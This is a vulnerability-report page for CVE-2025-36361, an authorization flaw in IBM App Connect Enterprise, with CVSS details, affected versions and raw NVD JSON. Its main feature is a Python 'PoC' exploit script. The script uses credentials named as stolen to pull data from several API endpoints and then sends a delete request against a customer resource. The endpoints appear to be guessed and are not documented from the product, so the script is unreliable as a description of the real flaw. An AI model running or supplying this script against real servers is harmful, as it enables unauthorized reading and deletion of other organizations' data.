Security Vulnerability Report
中文
CVE-2025-36361 CVSS 6.3 MEDIUM

CVE-2025-36361

Published: 2025-10-24 10:15:39
Last Modified: 2025-10-28 14:27:33

Description

IBM App Connect Enterprise 13.0.1.0 through 13.0.4.2, and 12.0.1.0 through 12.0.12.17 could allow an authenticated user to perform unauthorized actions on customer defined resources due to missing authorization.

CVSS Details

CVSS Score
6.3
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L

Configurations (Affected Products)

cpe:2.3:a:ibm:app_connect_enterprise:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:ibm:app_connect_enterprise:*:*:*:*:*:*:*:* - VULNERABLE
IBM App Connect Enterprise 13.0.1.0 - 13.0.4.2
IBM App Connect Enterprise 12.0.1.0 - 12.0.12.17

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-36361 PoC - IBM App Connect Enterprise Authorization Bypass # This PoC demonstrates the authorization vulnerability # Requires valid authentication credentials import requests import json TARGET_URL = "https://target-ibm-app-connect:4443" USERNAME = "[email protected]" PASSWORD = "StolenPassword123" def exploit_authorization_bypass(): """ Demonstrates unauthorized access to customer-defined resources by exploiting missing authorization checks in IBM App Connect Enterprise """ # Step 1: Authenticate with valid credentials login_url = f"{TARGET_URL}/api/v1/auth/login" login_data = { "username": USERNAME, "password": PASSWORD } session = requests.Session() response = session.post(login_url, json=login_data, verify=False) if response.status_code != 200: print(f"[-] Authentication failed: {response.status_code}") return None auth_token = response.json().get('token') print(f"[+] Authentication successful") # Step 2: Exploit missing authorization to access unauthorized resources # Target customer-defined resources without proper permission check target_endpoints = [ "/api/v1/customer-resources", "/api/v1/integration-flows", "/api/v1/configurations", "/api/v1/user-management" ] for endpoint in target_endpoints: headers = { "Authorization": f"Bearer {auth_token}", "Content-Type": "application/json" } # This request exploits missing authorization check exploit_url = f"{TARGET_URL}{endpoint}" response = session.get(exploit_url, headers=headers, verify=False) if response.status_code == 200: print(f"[+] Unauthorized access to {endpoint} - Data retrieved:") print(json.dumps(response.json(), indent=2)) elif response.status_code == 403: print(f"[-] Access denied to {endpoint}") else: print(f"[*] Unexpected response from {endpoint}: {response.status_code}") # Step 3: Attempt unauthorized modification modify_url = f"{TARGET_URL}/api/v1/customer-resources/modify" modify_data = { "resource_id": "target-resource-123", "action": "delete", "customer_data": "Sensitive Information" } response = session.post(modify_url, json=modify_data, headers=headers, verify=False) if response.status_code in [200, 201]: print("[+] Unauthorized modification successful - vulnerability confirmed") else: print(f"[-] Modification failed: {response.status_code}") if __name__ == "__main__": exploit_authorization_bypass()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-36361", "sourceIdentifier": "[email protected]", "published": "2025-10-24T10:15:38.670", "lastModified": "2025-10-28T14:27:33.283", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "IBM App Connect Enterprise 13.0.1.0 through 13.0.4.2, and 12.0.1.0 through 12.0.12.17 could allow an authenticated user to perform unauthorized actions on customer defined resources due to missing authorization."}, {"lang": "es", "value": "IBM App Connect Enterprise 13.0.1.0 hasta 13.0.4.2, y 12.0.1.0 hasta 12.0.12.17 podría permitir a un usuario autenticado realizar acciones no autorizadas en recursos definidos por el cliente debido a la falta de autorización."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L", "baseScore": 6.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.8, "impactScore": 3.4}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-862"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:ibm:app_connect_enterprise:*:*:*:*:*:*:*:*", "versionStartIncluding": "12.0.1.0", "versionEndIncluding": "12.0.12.17", "matchCriteriaId": "BAC9FE1D-8E0A-40ED-9BD9-0FF34EFA6093"}, {"vulnerable": true, "criteria": "cpe:2.3:a:ibm:app_connect_enterprise:*:*:*:*:*:*:*:*", "versionStartIncluding": "13.0.1.0", "versionEndIncluding": "13.0.4.2", "matchCriteriaId": "1833099C-F96F-42B2-977C-A08DA426837D"}]}]}], "references": [{"url": "https://www.ibm.com/support/pages/node/7249061", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}